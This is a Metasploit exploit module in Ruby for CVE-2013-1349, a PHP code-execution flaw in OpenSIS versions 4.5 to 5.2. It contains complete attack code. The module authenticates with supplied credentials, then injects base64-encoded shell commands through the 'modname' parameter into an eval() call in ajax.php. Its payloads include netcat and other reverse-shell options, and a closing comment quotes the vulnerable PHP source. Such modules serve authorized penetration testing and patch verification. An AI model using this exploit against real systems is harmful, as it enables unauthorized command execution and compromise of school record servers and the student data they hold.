## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "OpenSIS 'modname' PHP Code Execution", 'Description' => %q{ This module exploits a PHP code execution vulnerability in OpenSIS versions 4.5 to 5.2 which allows any authenticated user to execute arbitrary PHP code under the context of the web-server user. The 'ajax.php' file calls 'eval()' with user controlled data from the 'modname' parameter. }, 'License' => MSF_LICENSE, 'Author' => [ 'EgiX', # Discovery 'Brendan Coles <bcoles[at]gmail.com>' # msf exploit ], 'References' => [ ['CVE', '2013-1349'], ['OSVDB', '100676'], ['URL', 'http://karmainsecurity.com/KIS-2013-10'], ['URL', 'http://sourceforge.net/p/opensis-ce/bugs/59/'] ], 'Payload' => { 'BadChars' => "\x00\x0a\x0d", 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic telnet bash netcat netcat-e perl ruby python', } }, 'DefaultOptions' => { 'ExitFunction' => 'none' }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [ # Tested on OpenSIS versions 4.9 and 5.2 (Ubuntu Linux) ['OpenSIS version 4.5 to 5.2', { 'auto' => true }] ], 'Privileged' => false, 'DisclosureDate' => 'Dec 04 2012', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The URI for OpenSIS', '/opensis/']), OptString.new('USERNAME', [true, 'The username for OpenSIS']), OptString.new('PASSWORD', [true, 'The password for OpenSIS']) ], self.class) end # # Login # def login(user, pass) @cookie = "PHPSESSID=#{rand_text_alphanumeric(rand(10)+10)};" print_status("#{peer} - Authenticating as user '#{user}'") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "index.php"), 'cookie' => @cookie, 'vars_post' => Hash[{ 'USERNAME' => user, 'PASSWORD' => pass, }.to_a.shuffle] }) if res and res.code == 200 and res.body =~ /Portal\.php/ print_good("#{peer} - Authenticated as user '#{user}'") return true else print_error("#{peer} - Authenticating as user '#{user}' failed") return false end end # # Send command for execution # def execute_command(cmd, opts = { :php_function => 'system' } ) code = Rex::Text.uri_encode(Rex::Text.encode_base64(cmd+"&")) junk = rand_text_alphanumeric(rand(10)+6) print_status("#{peer} - Sending payload (#{code.length} bytes)") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'ajax.php'), 'cookie' => @cookie, 'vars_post' => { 'modname' => "#{junk}?#{junk}=#{junk}';#{opts[:php_function]}(base64_decode('#{code}'));//" } }) return res end # # Check credentials are valid and confirm command execution # def check return Exploit::CheckCode::Unknown unless login(datastore['USERNAME'], datastore['PASSWORD']) fingerprint = Rex::Text.rand_text_alphanumeric(rand(10)+10) print_status("#{peer} - Sending check") res = execute_command("echo #{fingerprint}") if res and res.body =~ /align=center>#{fingerprint}/ return Exploit::CheckCode::Vulnerable elsif res return Exploit::CheckCode::Safe end return Exploit::CheckCode::Unknown end def exploit return unless login(datastore['USERNAME'], datastore['PASSWORD']) php_function = [ 'exec', 'shell_exec', 'passthru', 'system' ].sample res = execute_command(payload.encoded, { :php_function => php_function }) if res and res.code == 200 and res.body =~ /hacking_log/i print_good("#{peer} - Payload sent successfully") else fail_with(Failure::UnexpectedReply, "#{peer} - Sending payload failed") end end end # # Source # =begin ajax.php 90: if(strpos($_REQUEST['modname'],'?')!==false) 91: { 92: $vars = substr($_REQUEST['modname'],(strpos($_REQUEST['modname'],'?')+1)); 93: $modname = substr($_REQUEST['modname'],0,strpos($_REQUEST['modname'],'?')); 94: 95: $vars = explode('?',$vars); 96: foreach($vars as $code) 97: { 98: $code = decode_unicode_url("\$_REQUEST['".str_replace('=',"']='",$code)."';"); 99: eval($code); 100: } 101: } =end